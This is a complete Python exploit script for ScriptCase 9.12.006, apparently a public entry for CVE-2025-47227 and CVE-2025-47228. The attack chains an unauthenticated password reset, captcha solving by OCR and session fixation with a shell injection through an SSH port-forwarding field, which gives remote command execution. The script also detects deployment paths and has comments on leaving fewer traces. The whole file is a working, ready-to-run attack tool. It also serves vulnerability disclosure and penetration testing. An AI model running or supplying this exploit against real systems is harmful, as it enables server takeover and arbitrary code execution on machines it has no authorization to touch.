# Exploit Title: ScriptCase 9.12.006 (23) - Remote Command Execution (RCE) # Date: 04/07/2025 # Exploit Author: Alexandre ZANNI (noraj) & Alexandre DROULLÉ (cabir) # Vendor Homepage: https://www.scriptcase.net/ # Software Link: https://www.scriptcase.net/download/ # Version: 1.0.003-build-2 (Production Environment) / 9.12.006 (23) (ScriptCase) # Tested on: EndeavourOS # CVE : CVE-2025-47227, CVE-2025-47228 # Source: https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228 # Advisory: https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution # Imports ## stdlib import io import random import optparse import re import string import sys import urllib.parse ## third party from PIL import Image, ImageEnhance, ImageFilter # pip3 install Pillow import pytesseract # pip3 install pytesseract import requests # pip install requests from bs4 import BeautifulSoup # pip install beautifulsoup4 # Clean image + OCR def process_image(input_image, output_image_path=None): # Open the image img = Image.open(io.BytesIO(input_image)) # Convert the image to RGB (in case it's in a different mode) img = img.convert('RGB') # Load the pixel data pixels = img.load() # Get the dimensions of the image width, height = img.size # Process each pixel for y in range(height): for x in range(width): r, g, b = pixels[x, y] # Change the crap background to a fixed color (letters are only black or white, and background is random color but not black or white) if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255): pixels[x, y] = (211, 211, 211) # Change the pixel to light grey elif (r, g, b) == (255, 255, 255): # Change white text in black text pixels[x, y] = (0, 0, 0) # Change the pixel to black # Size (200, 50) * 5 img = img.resize((1000,250), Image.Resampling.HAMMING) # Use Tesseract to convert the image to text # psm 6 or 8 work best # limit alphabet # disable word optimized detection https://github.com/tesseract-ocr/tessdoc/blob/main/ImproveQuality.md#dictionaries-word-lists-and-patterns custom_oem_psm_config = rf'--psm 8 --oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false --dpi 300' # there are only uppercase but keep lowercase to avoid false negative text = pytesseract.image_to_string(img, config=custom_oem_psm_config) return(text.upper().strip()) # convert false positive lowercase to uppercase, strip because leading whitespace is often added # Step 1: Set is_page to true on the session def prepare_session(url_base, cookies): res = requests.get( f'{url_base}/prod/lib/php/devel/iface/login.php', cookies=cookies, verify=False ) if res.status_code == 200: print("[+] Session prepared") else: print(f"[-] Failed with status code {res.status_code}") # Random hex string of arbitrary size def rand_hex(size): return ''.join(random.choice('0123456789abcdef') for _ in range(size)) # Step 2: Get a captcha challenge for the session def captcha_session(url_base, cookies): res = requests.get( f'{url_base}/prod/lib/php/devel/lib/php/secureimage.php', cookies=cookies, verify=False ) if res.status_code == 200: print("[+] Captcha retrieved") return res.content else: print(f"[-] Failed with status code {res.status_code}") # Step 3: Change the password with the prepared session def reset_password(url_base, cookies, captcha_img, captcha_txt): new_password = random.choice(string.ascii_letters).capitalize() + rand_hex(10) + str(random.randint(0,9)) email = f'{rand_hex(10)}@{rand_hex(8)}.com' data = { 'ajax': 'nm', 'nm_action': 'change_pass', 'email': email, 'pass_new': new_password, 'pass_conf': new_password, 'lang': 'en-us', 'captcha': captcha_txt } res = requests.post( f'{url_base}/prod/lib/php/devel/iface/login.php', data=data, cookies=cookies, verify=False ) if res.status_code == 200 and res.text == '{"result":"success"}': print("[+] Password reset successfully") print(f"[+] The new password is: {new_password}") print(f"[+] The delcared (fake) email address was: {email}") elif res.status_code == 200 and res.text == '{"result":"error","message":"Invalid captcha"}': print("[-] OCR failed") print(f"[-] Failed captcha submission was {captcha_txt}") img = Image.open(io.BytesIO(captcha_img)) img.show() manual_input = input("[+] Input displayed captcha to retry manually: ") reset_password(url_base, cookies, captcha_img, manual_input) elif res.status_code == 200 and res.text == '{"result":"error","message":"The password is incorrect."}': print("[-] Non default password policy") print("[-] Hardcode a password that matches it") print(f"[-] Failed password is: {new_password}") else: print(f"[-] Failed with status code {res.status_code}") print(res.text) print('[-] Data was:') print(data) # Detect the deployment path of ScriptCase and produciton environment from the homepage. # E.g. deployment path is /scriptcase/ # sc_pathToTB variable on http://10.58.8.213/ will be '/scriptcase/prod/third/jquery_plugin/thickbox/' # ScriptCase login page => http://10.58.8.213/scriptcase/devel/iface/login.php # Production Environment login page => http://10.58.8.213/scriptcase/prod/lib/php/devel/iface/login.php def detect_deployment_path(homepage_url): res = requests.get(homepage_url, verify=False) # HTTP redirections are handled automatically (not JS redirects) if res.status_code == 200: print("[+] Looking for deployment path in JS and computing login paths") reg = r"var sc_pathToTB = '(.+)/prod/third/jquery_plugin/thickbox/';" match = re.search(reg, res.text) # compute URL without path parsed_url = urllib.parse.urlparse(homepage_url) homepage_root = f"{parsed_url.scheme}://{parsed_url.netloc}" if match: base_path = match.group(1) print(f"[+] Deployment path found: {base_path}/") print(f"[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php (probably not deployed on a production environment)") print(f"[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php") else: # either a website not made with ScriptCase or root redirects to the devel page js_redirect(res) # try to detect the devel/iface/login.php page reg2 = r'http://www\.scriptcase\.net|doChangeLanguage|str_lang_user_first' match = re.search(reg2, res.text) if match: # devel page print(f"[?] This may be the development console?") # now try to extract path from favicon reg3 = r'<link rel="shortcut icon" href="(.+)/devel/conf/scriptcase/img/ico/favicon\.ico"' match = re.search(reg3, res.text) if match: # base path found base_path = match.group(1) print(f"[+] Deployment path found: {base_path}/") print(f"[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php") print(f"[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php") else: # false positive, it's not devel page print(f"[-] Failed to find deployment path, is this site made with ScriptCase?") else: # no ScriptCase detected print("[-] Failed to find deployment path, is this site made with ScriptCase?") else: print(f"[-] Failed with status code {res.status_code}") # Try to handle JS redirect else warn and exit def js_redirect(res): if re.search(r'window\.location', res.text): print('[-] JavaScript redirection detected') print('[-] JavaScript redirection not handled (no headless browser with JS engine)') print(f"[-] Returned page is:\n{res.text}") print(f"[-] Last redirection URL is:\n{res.url}") match = re.search(r"window\.location\s*=\s*['\"](.+)['\"]", res.text) if match: redirect_url = f"{res.url}/{match.group(1)}" print(f"[?] Let's try again with: {redirect_url}") detect_deployment_path(redirect_url) else: print('Please try again with redirect URL') exit(1) # Remote command execution on the system # # Instead of registering a new connection (admin_sys_allconections_create_wizard.php), we can just test it # (admin_sys_allconections_test.php) so we leave less traces. # Even if the test results in "Connection Error" / "Unable to connect", the command was stil lexecuted. def command_injection(url_base, cookies, cmd): data = { 'hid_create_connect': 'S', 'dbms': 'mysql', 'conn': 'conn_mysql', 'dbms': 'pdo_mysql', 'host': '127.0.0.1:3306', 'server': '127.0.0.1', 'port': '3306', 'user': rand_hex(11), 'pass': rand_hex(8), 'show_table': 'Y', 'show_view': 'Y', 'show_system': 'Y', 'show_procedure': 'Y', 'decimal': '.', 'use_persistent': 'N', 'use_schema': 'N', 'retrieve_schema': 'Y', 'retrieve_schema': 'Y', 'use_ssh': 'Y', 'ssh_server': '127.0.0.1', 'ssh_user': 'root', 'ssh_port': '22', 'ssh_localportforwarding': f'; {cmd};#', 'ssh_localserver': '127.0.0.1', 'ssh_localport': '3306', 'form_create': form_create(url_base, cookies), 'retornar': 'Back', 'concluir': 'Save', 'confirmar': 'Back', 'voltar': 'Confirm', 'step': 'sgdb2', 'nextstep': 'dados_rep' } res = requests.post( f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_test.php', data=data, cookies=cookies, verify=False ) if res.status_code == 200: print("[+] Command executed (blind)") else: print(f"[-] Failed with status code {res.status_code}") exit(1) # Get form_create ID for command_injection() def form_create(url_base, cookies): res = requests.get( f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php', cookies=cookies, verify=False ) if res.status_code == 200: print("[+] Parsing results to find form_create ID") soup = BeautifulSoup(res.text, 'html.parser') form_create = soup.css.select_one('html body.nmPage form input[name="form_create"]') if form_create: form_create_id = form_create.get('value') print(f"[+] form_create ID found: {form_create_id}") return form_create_id else: print("[-] No form_create ID found") exit(1) return res.content else: print(f"[-] Failed with status code {res.status_code}") exit(1) # Handles login # # Comes with a cookie as there is session fixation (cookie not renewed after login) def login(url_base, cookies, password): data = { 'option': 'login', 'opt_par': None, 'hid_login': 'S', 'field_pass': password, 'field_language': 'en-us' } res = requests.post( f'{url_base}/prod/lib/php/nm_ini_manager2.php', data=data, cookies=cookies, verify=False ) if res.status_code == 200: print("[+] Authentication successful") else: print("[-] Authentication failed") # Exploit if __name__ == '__main__': help_text = """ Examples: Pre-Auth RCE (password reset + RCE) python exploit.py -u http://example.org/scriptcase -c "command" Password reset only (no auth) python exploit.py -u http://example.org/scriptcase RCE only (need account) python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*' Detect deployment path python exploit.py -u http://example.org/ -d """ parser = optparse.OptionParser(usage=help_text) parser.add_option('-u', '--base-url') parser.add_option('-c', '--command') parser.add_option('-p', '--password') parser.add_option('-d', '--detect', action='store_true', dest='detect') opts, args = parser.parse_args() cookies = { 'PHPSESSID': rand_hex(26) # Simulate a random PHPSESSID (more stealth than an arbitrary string) } URL_BASE = opts.base_url if opts.base_url and opts.command and not opts.password and not opts.detect: # Pre-Auth RCE (password reset + RCE) prepare_session(URL_BASE, cookies) captcha_img = captcha_session(URL_BASE, cookies) captcha_txt = process_image(captcha_img) reset_password(URL_BASE, cookies, captcha_img, captcha_txt) command_injection(URL_BASE, cookies, opts.command) elif opts.base_url and not opts.command and not opts.password and not opts.detect: # Password reset only (no auth) prepare_session(URL_BASE, cookies) captcha_img = captcha_session(URL_BASE, cookies) captcha_txt = process_image(captcha_img) reset_password(URL_BASE, cookies, captcha_img, captcha_txt) elif opts.base_url and opts.command and opts.password and not opts.detect: # RCE only (need account) prepare_session(URL_BASE, cookies) login(URL_BASE, cookies, opts.password) command_injection(URL_BASE, cookies, opts.command) elif opts.base_url and not opts.command and not opts.password and opts.detect: # Detect deployment path detect_deployment_path(URL_BASE) else: parser.print_help() sys.exit(1)